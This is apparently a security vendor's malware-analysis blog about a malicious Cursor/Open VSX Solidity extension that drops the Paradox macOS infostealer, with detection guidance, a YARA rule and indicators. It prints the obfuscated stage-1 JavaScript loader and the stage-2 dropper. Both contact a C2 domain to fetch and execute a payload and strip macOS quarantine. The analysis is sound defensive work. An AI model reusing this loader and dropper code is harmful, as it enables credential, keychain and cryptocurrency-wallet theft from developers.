VSCode-derived IDEs with AI assisted capabilities, such as Cursor, have exploded in popularity. In many ways, their appeal mirrors that of VSCode, where extensibility enables much of the functionality developers rely on. Open VSX provides the shared extension registry used by Cursor and other compatible IDEs, enabling developers to bring over familiar tools with minimal friction.
This thriving ecosystem of third party extensions has created an opening for threat actors. Extensions often inherit broad permissions that allow code execution and file access, making them attractive points of initial access. The combination of developer trust, extension convenience and supply chain adjacency continues to produce high value opportunities for malicious actors across macOS environments.
Secure Annex’s reporting on SleepyDuck in early November highlighted this trend, documenting a similar extension to that in this blog. These malicious extensions have now shifted to an infostealer payload, which reinforces how adaptable the technique is. The lure remains effective because it leans on a familiar trust signal. The extension climbed to the top of the store by download count, which is (understandably) a common metric developers use to judge whether a plugin is safe.
This blog examines a real-world infection chain that originated from a malicious Cursor extension. We detail how the attack progressed, how Phorion caught and prevented the attack, and the lessons defenders can apply to similar threats.
Infection Chain
Ether Solidity Extension

The infection starts with developers searching the Open VSX registry for Solidity support. The Ether Solidity extension (ether.solidity) is presented as the top result, with more than 117k downloads since 24 November - an almost certainly artificially-inflated figure.
Both the specific extension and publisher have now been removed from Open VSX.
Stage 1
After installation, the extension executes JavaScript hidden inside a file posing as webpack.js. That file exposes the core functionality of the extension:
- Collect basic information about the host, such as hostname, username and MAC address.
- Make a POST request with this data to an external site.
- Execute the returned 2nd stage JavaScript code.
function init () {
var burger_strawberry = require('https');
var soda = require('vm');
var vanilla_fruit = require('fs');
var melon = require('os');
var apple_apple = require('path');
var candy = require('crypto');
const apple = (Object + '').split(' ')[0] + "." + (undefined) + (23 - 2) + ".com";
function berry_burger () {
const ifaces = melon.networkInterfaces();
for (const name of Object.keys(ifaces)) {
for (const iface of ifaces[name]) {
if (!iface.internal && iface.mac !== '00:00:00:00:00:00') {
return iface.mac;
}
}
}
return 'unknown';
}
function burger_garlic () {
const data = melon.hostname() + berry_burger() + melon.platform();
return candy.createHash('sha256').update(data).digest('hex').substring(0, 16);
}
const wheat_pasta = {
hostname: melon.hostname(),
username: melon.userInfo().username,
platform: melon.platform(),
macAddress: berry_burger(),
machineId: burger_garlic()
};
function pizza () {
const options = {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
};
const req = burger_strawberry.request("https://" + apple + '/p', options, (res) => {
let pasta_water = '';
res.on('data', (strawberry_onion) => pasta_water += strawberry_onion);
res.on('end', () => {
try {
const barley = soda.createContext({
console,
require,
process,
Buffer,
burger_strawberry,
apple,
vanilla_fruit,
melon,
apple_apple
});
soda.runInContext(pasta_water, barley);
} catch (e) {}
});
});
req.write(JSON.stringify(wheat_pasta));
req.end();
}
pizza();
}
module.exports = init;
Following a consistent culinary theme, the constant apple is being used to obfuscate the domain name used for future communication - function[.]undefined21[.]com.
const apple = (Object + '').split(' ')[0] + "." + (undefined) + (23 - 2) + ".com";
The code combines the hostname, MAC address and platform, then hashes them to generate a machine ID, likely enabling the actor to track unique infections across the campaign. This data is then sent to the C2 domain.
Finally, the response from the web request is used with the vm.runInContext() method to compile and run the subsequent stage.
Stage 2
Fetching the contents of the JavaScript response reveals the second stage payload dropper code that makes no attempt to hide its intentions.
It retrieves data from the /sss endpoint of the original domain, writes it to a file named xoxoxoxxx in a temporary directory, and uses a series of nested callbacks that execute operating system commands to mark the file as executable and strip the quarantine attribute, before executing it. The fs.unlink() function is the final step, removing the file from disk.
var fs = require('fs');
var os = require('os');
var https = require('https');
var path = require('path');
var { exec } = require('child_process');
function downloadAndRun() {
var url = 'https://function[.]undefined21[.]com/sss';
var filename = 'xoxoxoxxx';
var filePath = path.join(os.tmpdir(), filename);
https
.get(url, res => {
if (res.statusCode !== 200) {
res.resume();
return;
}
var fileStream = fs.createWriteStream(filePath);
res.pipe(fileStream);
fileStream.on('finish', () => {
fileStream.close();
exec(`chmod +x "${filePath}"`, () => {
exec(`xattr -d com.apple.quarantine "${filePath}"`, () => {
exec(`"${filePath}"`, () => {
fs.unlink(filePath, () => {});
});
});
});
});
})
.on('error', () => {});
}
downloadAndRun();
Stage 3 - Paradox Stealer
The dropped executable xoxoxoxxx contains a Golang-based macOS infostealer. Indicators strongly suggest that the codebase is heavily shared (if not identical) to an open-source GitHub project called paradox (https://github.com/githubesson/paradox), which this blog refers to as Paradox Stealer.

The Paradox Stealer repository offers tooling that collects browser data, chat application records, keychain items and cryptowallets. It also includes a management application and supporting server components.
The project frames itself as research, which aligns with its use of familiar macOS infostealer techniques found in families such as AMOS, Poseidon and Banshee. It is, however, currently being deployed in active campaigns tied to the wider attack discussed in this article.
Paradox Stealer initialises by preparing the initial directory structure that is used to stage collected data. It then follows with typical Infostealer system reconnaissance tasks.
- System Profiler: Executes the shell command,
system_profiler SPSoftwareDataType SPHardwareDataType - Public IP: Uses Golang’s HTTP client to make a request to
https://freeipapi.com/api/json/andhttps://api.ipify.org/?format=jsonin order to determine public IP and approximate geographic location. - User Password Prompt via AppleScript: Uses
osascriptto display a credential prompt. The entered password is validated withdscl /Local/Default -authonly <username> <password>.

With initial reconnaissance captured, the stealer checks for ~/Library/Keychains. If the directory exists, it copies it into its staging location. The user’s keychain on macOS is protected with the local account password that was harvested during the initial system information collection phase.
It then enumerates installed browsers and identifies active profiles. From there, it searches for credential stores and other sensitive files such as cookies, saved login data and browsing history. Paradox Stealer supports most common Chromium and Gecko based browsers, although it does not target Safari. The absence of Safari support is likely due to the higher barrier to accessing Safari data given its tighter integration with TCC.

It also examines extension directories and compares them against a predefined list of cryptocurrency wallet extensions.

The stealer checks for Telegram and Discord next. If either application is installed, it extracts the stored chat data. It follows the same pattern for cryptocurrency wallet applications, such as Exodus or Electrum, by collecting their on-disk data stores.
All extracted data is finally compressed into output.zip with Golang’s archive/zip package. This archive is then exfiltrated to the same domain used throughout the attack, https://function[.]undefined21[.]com/upload, using Golang’s native HTTP client.
Detection Opportunities
Malicious Extension Load (ESF Visibility)
In this campaign, the earliest point of visibility comes from the moment the IDE loads the malicious extension. Apple’s Endpoint Security Framework (ESF) exposes file-open events (ES_EVENT_TYPE_NOTIFY_OPEN) that clearly show the IDE accessing the specific compromised package from this attack. For Cursor, the extension is loaded from:
source_binary_path:/Applications/Cursor.app/Contents/MacOS/Cursor
source_signing_id:com.todesktop.230313mzl4w4u92
filepath:/Users/alfie/.cursor/extensions/ether.solidity-0.0.191-universal/package.json
Suspicious Behaviour Originating From the IDE
Once loaded, the compromised extension initiates a predictable chain of actions that are uncommon for legitimate IDE behaviour. Using ESF process exec telemetry (ES_EVENT_TYPE_NOTIFY_EXEC), helper processes can be seen writing the Paradox Stealer binary to a temporary directory, modifying its attributes, and executing it.
The second stage script leverages Node.js child_process.exec() to spawn bash, which then executes commands such as chmod and xattr:
parent_binary_path: /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)
parent_signing_id: com.github.Electron.helper
source_binary_path: /bin/bash
source_signing_id: com.apple.bash
binary_path: /bin/chmod
signing_id: com.apple.chmod
process_args: chmod +x xoxoxoxxx
The final payload is written and launched from a transient path under /private/var/folders, a location that legitimate IDE helpers rarely execute arbitrary, unsigned content from. Execution originating from this directory by an IDE-associated helper represents a strong behavioural detection opportunity.
Paradox Stealer
If the payload executes successfully, the following signals form typical points of detection for infostealer behaviour, including Paradox Stealer.
osascriptprompting for user credentials- Unexpected
dscl -authonlyauthentication attempts - Direct interaction with the keychain by unsigned or untrusted binaries
Once running, Paradox targets high-value browser and wallet data. Unusual access to browser cookie stores, cryptocurrency-related extensions, or credential repositories provides high-confidence signals that the malware has entered its data-theft stage.
Further analysis of the Paradox Stealer codebase shows a modular design with folders dedicated to discovery, extraction and related functions. Based on the exposed function names, Phorion developed the following YARA rule that can be used to detect the payload.
rule MAL_Paradox_Stealer_Nov25 {
meta:
description = "Compiled Go binary for Paradox Stealer"
author = "Phorion"
date = "2025-11-26"
score = 70
strings:
$n = "paradox_payload" ascii wide
$f1 = "CheckBrowserDirectories" ascii wide
$f2 = "CheckCryptoDirectories" ascii wide
$f3 = "CheckKeychainDirectories" ascii wide
$f4 = "CheckCommunicationAppDirectories" ascii wide
$f5 = "ExtractBrowserData" ascii wide
$f6 = "getMacOSPasswordViaAppleScript" ascii wide
$f7 = "GetIPInfo" ascii wide
condition:
filesize < 10MB and
(uint32(0) == 0xfeedface or // the mach magic number
uint32(0) == 0xcefaedfe or // NXSwapInt(MH_MAGIC)
uint32(0) == 0xfeedfacf or // the 64-bit mach magic number
uint32(0) == 0xcffaedfe or // NXSwapInt(MH_MAGIC_64)
(
uint32(0) == 0xcafebabe and // Mach-O FAT binaries
uint16(4) < 0x30 // Avoid Java classes
)) and
all of them
}
Phorion’s Approach
Phorion’s macOS-native EDR detected and prevented the Paradox Stealer payload before it could execute. This matters in the context of infostealers because detection alone is rarely enough to protect sensitive data. Once a process reaches browser storage or keychain paths, the window to prevent theft is small.
If an infostealer does execute, Phorion’s cookie theft protections provide an additional layer of defence. These controls block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. The design interrupts infostealers early in their workflow and significantly reduces the chance of data leaving the device using a behavioural methodology.
Effective investigation also depends on visibility. Phorion collects extension metadata from IDEs such as Cursor and VSCode, enabling rapid identification of hosts running malicious or backdoored packages. This shortens the investigation cycle and simplifies response during active incidents.
Interested in how Phorion defends macOS endpoints against threats like Paradox Stealer? Get in touch to arrange a demo.
Indicators
| IOC | Type | Notes |
|---|---|---|
c0325074a01db097d0dcddfe5f792f7d6da5c719 | SHA1 | package.json |
8786e4c0ee4bee8fc16902b5090c26c17a3ef4ec | SHA1 | webpack.js |
48e041224a58e967741bfdc5837e589af34e6a9a | SHA1 | Paradox Stealer Binary |
function[.]undefined21[.]com | Domain | |
xoxoxoxxx | Binary Name | |
~/.cursor/extensions/ether.solidity-0.0.191-universal/ | Path |
